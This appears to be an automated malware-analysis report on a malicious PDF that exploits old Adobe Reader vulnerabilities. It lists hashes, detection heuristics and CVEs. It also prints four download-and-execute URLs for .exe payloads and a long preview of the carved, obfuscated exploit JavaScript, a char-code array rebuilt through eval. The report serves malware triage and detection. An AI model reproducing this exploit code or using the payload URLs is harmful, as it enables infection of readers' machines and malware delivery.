PDF malware analysis — malicious · e6f2fb4c9cad9444

MALICIOUS

PDF

77.2 KB Created: 2009-11-10 19:47:15 Authoring application: PDF Library 5.7.7 (via PDF Library 6.2.5) First seen: 2015-09-17

MD5: 388a1a99eeb0de241fba7872414f56c8 SHA-1: 7362d4ad192b2cf6b49d821a2a74590ecaa0fd27 SHA-256: e6f2fb4c9cad94446e9bf3032acecf122e9b1ae47cfcb60fb2024e89f6468884

590 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell T1204.001 Malicious Link T1204.002 Malicious File

The PDF file contains embedded JavaScript that exploits multiple Adobe Reader vulnerabilities, specifically CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. Static analysis indicates that this JavaScript is designed to download and execute a second-stage payload, as evidenced by the ClamAV detection of 'Js.Exploit.Shellcode-18' on an extracted artifact. The attack pattern is consistent with exploit kit delivery mechanisms.

Machine Learning

Nyx PDF Classifier malicious score 0.9999

Heuristics 13

Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
ClamAV: Pdf.Exploit.Agent-36110 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Pdf.Exploit.Agent-36110
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
JavaScript action low 3 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript rebuilds a builtin via replace() to run a char-code array critical PDF_JS_REPLACE_OBFUSCATED_CHARCODE_BUILDER

Decoded PDF JavaScript resolves a String builtin from a junked literal — e.g. String['eQvoaol3'.replace(/[3oQS5]/g,'')] yielding fromCharCode/eval — and feeds a large numeric char-code array through it to rebuild and execute the next stage. Dynamically reconstructing a builtin name by stripping junk characters has no benign purpose; paired with the char-code payload array it is an unambiguous obfuscated-JavaScript exploit dropper.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX

Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://mirroronerofive.com/sleep/ilprs2.exe Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/click.php?r=Referenced by PDF JavaScript
- http://mirroronerofive.com/sleep/degst2.exeReferenced by PDF JavaScript
- http://mirroronerofive.com/sleep/hwzu2.exeReferenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x1A5	39012 bytes
SHA-256: `4c305e1ee182eb1ceac2d28d9af0065a9c6873d9b57d9c2744c89c9f0a70f7c1`
Preview script First 1,000 lines of the extracted script var cjnpv=31003;xigzfw=9884;hzokpl=33018;rzvg=569;djlouy=false;imoqsu='';bkmx="bkmx";oatvzu=51134;klqvy='';var jklqu=true,fgjlvx="fgjlvx",adejpr='',zirxb="",ekly=64298,vkczgn=0,cdpqrv=String,hjmqt=cdpqrv['f3rXoXmxC3hcaXr3Ccoxdcec'.replace(/[cxOX3]/g,'')],kluy=String,dfjq=kluy['e7vBaxlB'.replace(/[BZpx7]/g,'')],ahciz="89",kmnrt="",fikoy=[69,67,65,159,173,167,155,173,161,168,166,89,158,162,176,152,161,173,96,178,153,171,171,169,100,89,164,158,166,98,179,70,66,66,65,176,160,162,164,158,88,97,177,154,170,172,168,103,164,158,166,160,172,161,88,99,88,107,88,117,88,165,157,167,97,180,69,67,65,66,65,178,153,171,171,169,88,100,117,89,177,154,170,172,168,116,69,67,65,66,181,70,66,66,65,178,153,171,171,169,88,118,88,178,153,171,171,169,102,172,173,155,171,173,170,162,166,160,96,105,100,89,164,158,166,104,106,98,115,70,66,66,65,171,157,173,173,171,166,89,177,154,170,172,168,116,69,67,65,182,69,67,69,67,65,159,173,167,155,173,161,168,166,89,173,173,161,165,151,169,170,162,166,173,158,97,97,180,69,67,65,66,174,154,170,89,168,154,177,165,167,154,156,89,117,89,173,167,157,172,155,154,168,158,96,91,93,174,125,123,125,114,93,174,104,105,104,106,93,174,109,111,104,105,93,174,121,106,110,109,93,174,104,105,107,105,93,174,104,105,104,105,93,174,108,105,112,123,93,174,112,123,104,124,93,174,105,124,111,105,93,174,112,123,121,125,93,174,104,113,108,105,93,174,123,108,109,126,93,174,112,123,109,110,93,174,112,123,125,124,93,174,104,113,108,110,93,174,107,108,109,107,93,174,123,106,124,107,93,174,104,108,123,107,93,174,105,105,107,107,93,174,112,105,108,105,93,174,104,105,107,113,93,174,126,110,111,110,93,174,123,107,112,123,93,174,109,125,109,122,93,174,104,109,123,107,93,174,109,110,104,105,93,174,125,124,112,123,93,174,109,106,109,106,93,174,109,111,109,108,93,174,110,105,109,112,93,174,109,125,112,123,93,174,107,108,104,113,93,174,112,123,123,105,93,174,104,124,111,110,93,174,126,126,112,123,93,174,111,111,104,108,93,174,112,123,107,124,93,174,111,113,108,126,93,174,123,127,104,108,93,174,109,106,112,123,93,174,109,107,105,124,93,174,109,106,112,123,93,174,109,107,106,109,93,174,111,106,112,123,93,174,108,126,105,109,93,174,111,110,112,114,93,174,112,123,126,124,93,174,106,105,111,106,93,174,126,112,104,108,93,174,108,122,113,114,93,174,108,107,121,125,93,174,107,123,110,105,93,174,126,124,109,110,93,174,104,109,111,110,93,174,123,105,107,108,93,174,107,112,125,123,93,174,126,127,107,108,93,174,108,110,104,108,93,174,113,112,104,124,93,174,123,127,112,123,93,174,111,110,121,126,93,174,106,123,126,125,93,174,108,127,126,114,93,174,125,113,109,106,93,174,126,127,113,109,93,174,126,127,126,127,93,174,123,108,107,123,93,174,111,109,110,106,93,174,125,123,104,107,93,174,112,123,124,114,93,174,104,124,108,110,93,174,109,126,113,107,93,174,126,107,104,108,93,174,125,105,124,106,93,174,123,111,104,108,93,174,123,114,107,108,93,174,122,112,104,127,93,174,109,127,104,113,93,174,125,106,123,106,93,174,104,108,104,107,93,174,104,108,123,122,93,174,112,123,123,127,93,174,104,108,104,106,93,174,112,114,123,107,93,174,126,113,108,110,93,174,112,123,110,106,93,174,126,113,108,110,93,174,109,126,109,127,93,174,123,114,109,123,93,174,109,110,123,108,93,174,125,124,112,123,93,174,125,113,109,106,93,174,126,127,108,114,93,174,126,127,126,127,93,174,110,113,109,105,93,174,110,105,125,113,93,174,104,109,122,127,93,174,110,124,125,113,93,174,126,127,126,127,93,174,107,108,126,127,93,174,109,107,124,107,93,174,126,127,109,107,93,174,104,113,111,110,93,174,124,105,126,127,93,174,108,110,112,114,93,174,112,123,126,124,93,174,126,124,108,110,93,174,123,108,123,114,93,174,112,123,109,110,93,174,112,108,125,124,93,174,104,124,125,124,93,174,108,110,112,125,93,174,109,105,126,109,93,174,108,110,123,111,93,174,111,110,126,109,93,174,108,110,123,111,93,174,111,107,126,110,93,174,108,110,123,111,93,174,110,124,126,111,93,174,108,110,123,111,93,174,110,125,126,112,93,174,108,110,123,111,93,174,110,127,126,113,93,174,108,110,123,111,93,174,110,126,126,114,93,174,108,110,123,111,93,174,106,126,126,122,93,174,108,110,123,111,93,174,110,109,126,123,93,174,108,110,123,111,93,174,110,124,126,124,93,174,108,110,123,111,93,174,110,124,126,125,93,174,108,110,123,111,93,174,104,105,126,126,93,174,121,105,125,113,93,174,126,127,126,127,93,174,109,105,126,127,93,174,109,125,110,113,93,174,105,106,112,122,93,174,125,113,105,111,93,174,126,127,105,110,93,174,126,127,126,127,93,174,123,109,112,108,93,174,112,110,104,124,93,174,111,109,123,105,93,174,110,122,105,110,93,174,110,122,104,105,93,174,126,127,104,105,93,174,104,124,111,110,93,174,111,110,126,127,93,174,110,122,104,113,93,174,126,127,104,105,93,174,112,110,124,105,93,174,111,110,123,105,93,174,108,105,104,108,93,174,123,108,123,114,93,174,123,105,107,108,93,174,123,108,123,114,93,174,107,108,109,112,93,174,112,123,123,105,93,174,106,109,108,124,93,174,112,123,104,124,93,174,106,109,111,124,93,174,126,124,104,113,93,174,121,122,126,108,93,174,123,108,109,127,93,174,108,124,112,123,93,174,104,109,106,109,93,174,107,114,112,105,93,174,112,123,104,105,93,174,111,109,123,106,93,174,108,105,104,111,93,174,107,113,112,105,93,174,111,110,104,105,93,174,106,123,126,122,93,174,123,108,123,106,93,174,112,123,109,110,93,174,112,108,125,124,93,174,110,109,125,124,93,174,112,125,109,108,93,174,126,105,108,110,93,174,107,108,109,112,93,174,109,105,124,123,93,174,108,110,123,111,93,174,110,123,126,105,93,174,108,110,123,111,93,174,110,110,126,106,93,174,108,110,123,111,93,174,111,107,126,107,93,174,108,110,123,111,93,174,110,126,126,108,93,174,108,110,123,111,93,174,110,110,126,109,93,174,108,110,123,111,93,174,110,124,126,110,93,174,108,110,123,111,93,174,107,108,126,111,93,174,108,110,123,111,93,174,107,107,126,112,93,174,108,110,123,111,93,174,106,126,126,113,93,174,108,110,123,111,93,174,110,109,126,114,93,174,108,110,123,111,93,174,110,124,126,122,93,174,108,110,123,111,93,174,110,124,126,123,93,174,109,125,112,113,93,174,125,113,126,124,93,174,126,127,104,123,93,174,126,127,126,127,93,174,110,113,109,105,93,174,108,108,110,113,93,174,112,126,126,114,93,174,112,105,125,113,93,174,126,127,126,126,93,174,112,123,126,127,93,174,112,125,126,113,93,174,113,124,108,110,93,174,108,109,110,122,93,174,125,113,109,105,93,174,126,127,111,126,93,174,126,127,126,127,93,174,108,110,112,125,93,174,110,122,125,105,93,174,109,105,105,105,93,174,111,108,125,113,93,174,126,127,126,127,93,174,112,108,126,127,93,174,105,124,123,109,93,174,108,110,112,125,93,174,109,105,125,105,93,174,108,110,112,125,93,174,109,105,113,124,93,174,109,108,109,108,93,174,109,108,109,108,93,174,109,108,109,108,93,174,111,110,126,127,93,174,123,112,104,113,93,174,113,124,108,110,93,174,104,105,108,109,93,174,104,105,104,105,93,174,126,127,109,108,93,174,109,127,124,112,93,174,122,111,104,127,93,174,109,123,123,105,93,174,123,108,123,114,93,174,112,123,109,110,93,174,109,106,125,124,93,174,109,108,109,106,93,174,109,112,109,111,93,174,108,107,110,122,93,174,111,107,125,113,93,174,104,105,104,105,93,174,112,123,104,105,93,174,107,108,124,113,93,174,112,110,126,111,93,174,109,114,124,123,93,174,108,110,123,112,93,174,110,106,126,113,93,174,110,110,106,126,93,174,123,112,111,113,93,174,126,124,108,110,93,174,104,105,110,110,93,174,104,105,104,105,93,174,109,111,111,126,93,174,108,110,112,125,93,174,109,105,126,113,93,174,125,113,109,111,93,174,104,105,109,106,93,174,104,105,104,105,93,174,109,105,109,114,93,174,122,106,125,113,93,174,126,127,126,126,93,174,112,110,126,127,93,174,109,114,123,105,93,174,111,109,109,114,93,174,112,125,107,114,93,174,104,106,108,111,93,174,125,113,109,105,93,174,104,105,107,123,93,174,104,105,104,105,93,174,126,113,112,123,93,174,108,110,112,125,93,174,109,105,126,113,93,174,106,106,125,113,93,174,126,127,126,127,93,174,112,110,126,127,93,174,109,114,123,105,93,174,111,109,109,114,93,174,109,112,104,124,93,174,104,106,125,113,93,174,126,127,126,127,93,174,109,114,126,127,93,174,108,109,123,111,93,174,126,127,107,113,93,174,109,105,111,108,93,174,108,110,112,125,93,174,126,126,126,113,93,174,109,113,104,105,93,174,108,110,112,125,93,174,109,105,126,113,93,174,125,113,109,112,93,174,126,126,111,109,93,174,126,127,126,127,93,174,109,114,109,114,93,174,108,111,108,111,93,174,126,108,107,123,93,174,121,122,111,124,93,174,109,126,109,127,93,174,123,114,109,123,93,174,109,110,123,108,93,174,125,124,112,123,93,174,109,108,109,106,93,174,110,105,110,111,93,174,107,107,122,106,93,174,104,105,125,113,93,174,104,105,104,105,93,174,109,113,104,105,93,174,104,113,107,113,93,174,104,108,111,109,93,174,125,123,108,105,93,174,108,105,126,114,93,174,109,125,112,123,93,174,112,105,104,113,93,174,108,107,126,123,93,174,104,113,111,110,93,174,124,123,107,108,93,174,105,113,112,122,93,174,123,108,112,123,93,174,105,112,125,123,93,174,105,113,107,113,93,174,105,106,111,111,93,174,107,108,108,105,93,174,112,109,123,114,93,174,111,109,124,123,93,174,108,105,104,124,93,174,104,113,107,113,93,174,126,123,111,110,93,174,126,126,108,105,93,174,125,123,123,123,93,174,107,108,126,107,93,174,112,114,123,105,93,174,126,124,108,110,93,174,108,110,112,123,93,174,109,123,126,124,93,174,123,108,123,114,93,174,104,107,107,107,93,174,111,109,110,113,93,174,111,105,111,109,93,174,106,127,107,122,93,174,110,125,106,127,93,174,111,107,110,114,93,174,110,127,111,107,93,174,110,127,111,107,93,174,110,110,110,126,93,174,110,127,111,107,93,174,110,114,110,111,93,174,110,110,111,111,93,174,110,108,106,126,93,174,110,125,110,127,93,174,111,108,106,127,93,174,110,110,110,124,93,174,111,105,110,110,93,174,110,114,106,127,93,174,111,105,110,124,93,174,111,108,111,107,93,174,106,126,107,107,93,174,111,113,110,110,93,174,104,105,110,110,93,174,111,109,110,113,93,174,111,105,111,109,93,174,106,127,107,122,93,174,110,125,106,127,93,174,111,107,110,114,93,174,110,127,111,107,93,174,110,127,111,107,93,174,110,110,110,126,93,174,110,127,111,107,93,174,110,114,110,111,93,174,110,110,111,111,93,174,110,108,106,126,93,174,110,125,110,127,93,174,111,108,106,127,93,174,110,110,110,124,93,174,111,105,110,110,93,174,110,108,106,127,93,174,110,114,110,124,93,174,110,123,110,108,93,174,111,105,106,126,93,174,111,105,110,113,93,174,111,107,107,127,93,174,104,105,107,125,90,98,115,70,66,66,65,175,153,171,88,167,167,169,88,118,88,174,166,158,171,156,153,169,157,97,90,94,173,105,121,105,121,94,173,105,121,105,121,94,173,105,121,105,121,94,173,105,121,105,121,91,97,70,66,66,65,175,153,171,88,161,157,154,168,155,164,168,155,164,88,118,88,167,167,169,88,100,88,169,153,178,164,168,153,157,115,70,66,66,65,175,153,171,88,155,161,160,154,165,167,156,163,89,117,89,173,167,157,172,155,154,168,158,96,91,93,174,104,122,104,122,93,174,104,122,104,122,90,98,115,70,66,66,65,175,153,171,88,161,157,154,156,158,170,172,161,179,157,89,117,89,106,105,115,70,66,66,65,175,153,171,88,172,168,171,153,178,88,118,88,161,157,154,156,158,170,172,161,179,157,89,99,89,160,158,153,169,154,165,167,156,163,103,164,158,166,160,172,161,115,70,66,66,65,176,160,162,164,158,88,97,154,162,159,155,164,168,155,164,102,165,157,167,159,173,160,89,116,89,171,169,170,154,177,98,179,70,66,66,65,66,154,162,159,155,164,168,155,164,88,100,117,89,154,162,159,155,164,168,155,164,115,70,66,66,65,182,69,67,65,66,174,154,170,89,158,162,164,165,154,165,167,156,163,89,117,89,154,162,159,155,164,168,155,164,102,172,173,155,171,173,170,162,166,160,96,105,100,89,171,169,170,154,177,98,115,70,66,66,65,175,153,171,88,155,164,168,155,164,88,118,88,155,161,160,154,165,167,156,163,103,171,174,154,172,172,171,161,167,159,97,104,101,88,155,161,160,154,165,167,156,163,103,164,158,166,160,172,161,101,172,168,171,153,178,97,116,69,67,65,66,175,161,161,165,157,89,96,155,164,168,155,164,102,165,157,167,159,173,160,100,171,169,170,154,177,89,116,89,104,177,108,105,104,105,104,98,179,70,66,66,65,66,154,165,167,156,163,89,117,89,154,165,167,156,163,89,99,89,154,165,167,156,163,89,99,89,158,162,164,165,154,165,167,156,163,116,69,67,65,66,181,70,66,66,65,175,153,171,88,166,157,166,151,154,170,171,153,178,88,118,88,167,157,176,88,122,170,171,153,178,96,98,115,70,66,66,65,159,167,171,88,97,174,154,170,89,161,89,117,89,104,116,88,162,88,117,88,106,108,105,104,116,88,162,99,100,97,180,69,67,65,66,65,166,157,166,151,154,170,171,153,178,147,162,149,89,117,89,154,165,167,156,163,89,99,89,160,158,153,169,154,165,167,156,163,116,69,67,65,66,181,70,66,66,65,175,153,171,88,167,173,166,88,118,88,106,106,114,113,114,113,114,113,114,113,114,113,114,113,114,113,114,113,114,113,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,113,112,116,69,67,65,66,173,173,161,165,102,169,170,162,166,173,158,97,90,94,108,110,104,105,104,159,90,101,88,167,173,166,97,116,69,67,65,182,69,67,69,67,65,159,173,167,155,173,161,168,166,89,155,168,164,165,153,155,151,158,165,154,161,165,96,98,179,70,66,66,65,175,153,171,88,172,160,158,164,165,155,168,156,158,88,118,88,174,166,158,171,156,153,169,157,97,90,94,173,126,122,126,113,94,173,105,104,105,105,94,173,110,110,105,104,94,173,122,105,111,108,94,173,105,104,108,104,94,173,105,104,105,104,94,173,109,104,113,122,94,173,113,122,105,123,94,173,106,123,112,104,94,173,113,122,122,124,94,173,105,112,109,104,94,173,124,107,110,125,94,173,113,122,110,109,94,173,113,122,126,123,94,173,105,112,109,109,94,173,108,107,110,106,94,173,124,105,125,106,94,173,105,107,124,106,94,173,106,104,108,106,94,173,113,104,109,104,94,173,105,104,108,112,94,173,127,109,112,109,94,173,124,106,113,122,94,173,110,124,110,121,94,173,105,108,124,106,94,173,110,109,105,104,94,173,126,123,113,122,94,173,110,105,110,105,94,173,110,110,110,107,94,173,111,104,110,111,94,173,110,124,113,122,94,173,108,107,105,112,94,173,113,122,124,104,94,173,105,123,112,109,94,173,127,125,113,122,94,173,112,110,105,107,94,173,113,122,108,123,94,173,112,112,109,125,94,173,124,126,105,107,94,173,110,105,113,122,94,173,110,106,106,123,94,173,110,105,113,122,94,173,110,106,107,108,94,173,112,105,113,122,94,173,109,125,106,108,94,173,112,109,113,113,94,173,113,122,127,123,94,173,107,104,112,105,94,173,127,111,105,107,94,173,109,121,114,113,94,173,109,106,122,124,94,173,108,122,111,104,94,173,127,123,110,109,94,173,105,108,112,109,94,173,124,104,108,107,94,173,108,111,126,122,94,173,127,126,108,107,94,173,109,109,105,107,94,173,114,111,105,123,94,173,124,126,113,122,94,173,112,109,122,125,94,173,107,122,127,124,94,173,109,126,127,113,94,173,126,112,110,105,94,173,127,126,114,108,94,173,127,126,127,126,94,173,124,107,108,122,94,173,112,108,111,105,94,173,126,122,105,106,94,173,113,122,125,113,94,173,105,123,109,109,94,173,110,125,114,106,94,173,127,106,105,107,94,173,126,104,125,105,94,173,124,110,105,107,94,173,124,113,108,107,94,173,123,111,105,126,94,173,110,126,105,112,94,173,126,105,124,105,94,173,105,107,105,106,94,173,105,107,124,121,94,173,113,122,124,126,94,173,105,107,105,105,94,173,113,113,124,106,94,173,127,112,109,109,94,173,113,122,111,105,94,173,127,112,109,109,94,173,110,125,110,126,94,173,124,113,110,122,94,173,110,109,124,107,94,173,126,123,113,122,94,173,126,112,110,105,94,173,127,126,109,113,94,173,127,126,127,126,94,173,111,112,110,104,94,173,111,104,126,112,94,173,105,108,123,126,94,173,111,123,126,112,94,173,127,126,127,126,94,173,108,107,127,126,94,173,110,106,125,106,94,173,127,126,110,106,94,173,105,112,112,109,94,173,125,104,127,126,94,173,109,109,113,113,94,173,113,122,127,123,94,173,127,123,109,109,94,173,124,107,124,113,94,173,113,122,110,109,94,173,113,107,126,123,94,173,105,123,126,123,94,173,109,109,113,124,94,173,110,104,127,108,94,173,109,109,124,110,94,173,112,109,127,108,94,173,109,109,124,110,94,173,112,106,127,109,94,173,109,109,124,110,94,173,111,123,127,110,94,173,109,109,124,110,94,173,111,124,127,111,94,173,109,109,124,110,94,173,111,126,127,112,94,173,109,109,124,110,94,173,111,125,127,113,94,173,109,109,124,110,94,173,107,125,127,121,94,173,109,109,124,110,94,173,111,108,127,122,94,173,109,109,124,110,94,173,111,123,127,123,94,173,109,109,124,110,94,173,111,123,127,124,94,173,109,109,124,110,94,173,105,104,127,125,94,173,122,104,126,112,94,173,127,126,127,126,94,173,110,104,127,126,94,173,110,124,111,112,94,173,106,105,113,121,94,173,126,112,106,110,94,173,127,126,106,109,94,173,127,126,127,126,94,173,124,108,113,107,94,173,113,109,105,123,94,173,112,108,124,104,94,173,111,121,106,109,94,173,111,121,105,104,94,173,127,126,105,104,94,173,105,123,112,109,94,173,112,109,127,126,94,173,111,121,105,112,94,173,127,126,105,104,94,173,113,109,125,104,94,173,112,109,124,104,94,173,109,104,105,107,94,173,124,107,124,113,94,173,124,104,108,107,94,173,124,107,124,113,94,173,108,107,110,111,94,173,113,122,124,104,94,173,107,108,109,123,94,173,113,122,105,123,94,173,107,108,112,123,94,173,127,123,105,112,94,173,122,121,127,107,94,173,124,107,110,126,94,173,109,123,113,122,94,173,105,108,107,108,94,173,108,113,113,104,94,173,113,122,105,104,94,173,112,108,124,105,94,173,109,104,105,110,94,173,108,112,113,104,94,173,112,109,105,104,94,173,107,122,127,121,94,173,124,107,124,105,94,173,113,122,110,109,94,173,113,107,126,123,94,173,111,108,126,123,94,173,113,124,110,107,94,173,127,104,109,109,94,173,108,107,110,111,94,173,110,104,125,122,94,173,109,109,124,110,94,173,111,122,127,104,94,173,109,109,124,110,94,173,111,109,127,105,94,173,109,109,124,110,94,173,112,106,127,106,94,173,109,109,124,110,94,173,111,125,127,107,94,173,109,109,124,110,94,173,111,109,127,108,94,173,109,109,124,110,94,173,111,123,127,109,94,173,109,109,124,110,94,173,108,107,127,110,94,173,109,109,124,110,94,173,108,106,127,111,94,173,109,109,124,110,94,173,107,125,127,112,94,173,109,109,124,110,94,173,111,108,127,113,94,173,109,109,124,110,94,173,111,123,127,121,94,173,109,109,124,110,94,173,111,123,127,122,94,173,110,124,113,112,94,173,126,112,127,123,94,173,127,126,105,122,94,173,127,126,127,126,94,173,111,112,110,104,94,173,109,107,111,112,94,173,113,125,127,113,94,173,113,104,126,112,94,173,127,126,127,125,94,173,113,122,127,126,94,173,113,124,127,112,94,173,114,123,109,109,94,173,109,108,111,121,94,173,126,112,110,104,94,173,127,126,112,125,94,173,127,126,127,126,94,173,109,109,113,124,94,173,111,121,126,104,94,173,110,104,106,104,94,173,112,107,126,112,94,173,127,126,127,126,94,173,113,107,127,126,94,173,106,123,124,108,94,173,109,109,113,124,94,173,110,104,126,104,94,173,109,109,113,124,94,173,110,104,114,123,94,173,110,107,110,107,94,173,110,107,110,107,94,173,110,107,110,107,94,173,112,109,127,126,94,173,124,111,105,112,94,173,114,123,109,109,94,173,105,104,109,108,94,173,105,104,105,104,94,173,127,126,110,107,94,173,110,126,125,111,94,173,123,110,105,126,94,173,110,122,124,104,94,173,124,107,124,113,94,173,113,122,110,109,94,173,110,105,126,123,94,173,110,107,110,105,94,173,110,111,110,110,94,173,109,106,111,121,94,173,112,106,126,112,94,173,105,104,105,104,94,173,113,122,105,104,94,173,108,107,125,112,94,173,113,109,127,110,94,173,110,113,125,122,94,173,109,109,124,111,94,173,111,105,127,112,94,173,111,109,107,125,94,173,124,111,112,112,94,173,127,123,109,109,94,173,105,104,111,109,94,173,105,104,105,104,94,173,110,110,112,125,94,173,109,109,113,124,94,173,110,104,127,112,94,173,126,112,110,110,94,173,105,104,110,105,94,173,105,104,105,104,94,173,110,104,110,113,94,173,123,105,126,112,94,173,127,126,127,125,94,173,113,109,127,126,94,173,110,113,124,104,94,173,112,108,110,113,94,173,113,124,108,113,94,173,105,105,109,110,94,173,126,112,110,104,94,173,105,104,108,122,94,173,105,104,105,104,94,173,127,112,113,122,94,173,109,109,113,124,94,173,110,104,127,112,94,173,107,105,126,112,94,173,127,126,127,126,94,173,113,109,127,126,94,173,110,113,124,104,94,173,112,108,110,113,94,173,110,111,105,123,94,173,105,105,126,112,94,173,127,126,127,126,94,173,110,113,127,126,94,173,109,108,124,110,94,173,127,126,108,112,94,173,110,104,112,107,94,173,109,109,113,124,94,173,127,125,127,112,94,173,110,112,105,104,94,173,109,109,113,124,94,173,110,104,127,112,94,173,126,112,110,111,94,173,127,125,112,108,94,173,127,126,127,126,94,173,110,113,110,113,94,173,109,110,109,110,94,173,127,107,108,122,94,173,122,121,112,123,94,173,110,125,110,126,94,173,124,113,110,122,94,173,110,109,124,107,94,173,126,123,113,122,94,173,110,107,110,105,94,173,111,104,111,110,94,173,108,106,123,105,94,173,105,104,126,112,94,173,105,104,105,104,94,173,110,112,105,104,94,173,105,112,108,112,94,173,105,107,112,108,94,173,126,122,109,104,94,173,109,104,127,113,94,173,110,124,113,122,94,173,113,104,105,112,94,173,109,106,127,122,94,173,105,112,112,109,94,173,125,122,108,107,94,173,106,112,113,121,94,173,124,107,113,122,94,173,106,111,126,122,94,173,106,112,108,112,94,173,106,105,112,110,94,173,108,107,109,104,94,173,113,108,124,113,94,173,112,108,125,122,94,173,109,104,105,123,94,173,105,112,108,112,94,173,127,122,112,109,94,173,127,125,109,104,94,173,126,122,124,122,94,173,108,107,127,106,94,173,113,113,124,104,94,173,127,123,109,109,94,173,109,109,113,122,94,173,110,122,127,123,94,173,124,107,124,113,94,173,105,106,108,106,94,173,112,108,111,112,94,173,112,104,112,108,94,173,107,126,108,121,94,173,111,124,107,126,94,173,112,106,111,113,94,173,111,126,112,106,94,173,111,126,112,106,94,173,111,109,111,125,94,173,111,126,112,106,94,173,111,113,111,110,94,173,111,109,112,110,94,173,111,107,107,125,94,173,111,124,111,126,94,173,112,107,107,126,94,173,111,109,111,123,94,173,112,104,111,109,94,173,111,108,107,126,94,173,111,111,111,109,94,173,112,108,112,107,94,173,107,125,108,106,94,173,112,112,111,109,94,173,105,104,111,109,94,173,112,108,111,112,94,173,112,104,112,108,94,173,107,126,108,121,94,173,111,124,107,126,94,173,112,106,111,113,94,173,111,126,112,106,94,173,111,126,112,106,94,173,111,109,111,125,94,173,111,126,112,106,94,173,111,113,111,110,94,173,111,109,112,110,94,173,111,107,107,125,94,173,111,124,111,126,94,173,112,107,107,126,94,173,111,109,111,123,94,173,112,104,111,109,94,173,111,107,107,126,94,173,111,113,111,123,94,173,111,122,111,107,94,173,112,104,107,125,94,173,112,104,111,112,94,173,112,106,108,126,94,173,105,104,108,124,91,97,116,69,67,65,66,174,154,170,89,165,158,165,152,153,171,170,154,177,89,117,89,166,158,175,89,121,171,170,154,177,97,97,116,69,67,65,66,174,154,170,89,155,156,88,118,88,105,176,105,155,105,155,105,155,105,155,116,69,67,65,66,174,154,170,89,153,157,156,171,88,118,88,105,176,109,104,105,104,105,104,116,69,67,65,66,174,154,170,89,171,156,151,165,157,167,88,118,88,172,160,158,164,165,155,168,156,158,102,165,157,167,159,173,160,89,98,89,106,116,69,67,65,66,174,154,170,89,164,158,166,89,117,89,153,157,156,171,88,102,88,97,171,156,151,165,157,167,99,105,176,108,112,98,115,70,66,66,65,175,153,171,88,178,153,171,171,169,88,118,88,174,166,158,171,156,153,169,157,97,90,94,173,114,104,114,104,94,173,114,104,114,104,91,97,116,69,67,65,66,177,154,170,172,168,89,117,89,158,162,176,152,161,173,96,178,153,171,171,169,100,89,164,158,166,98,115,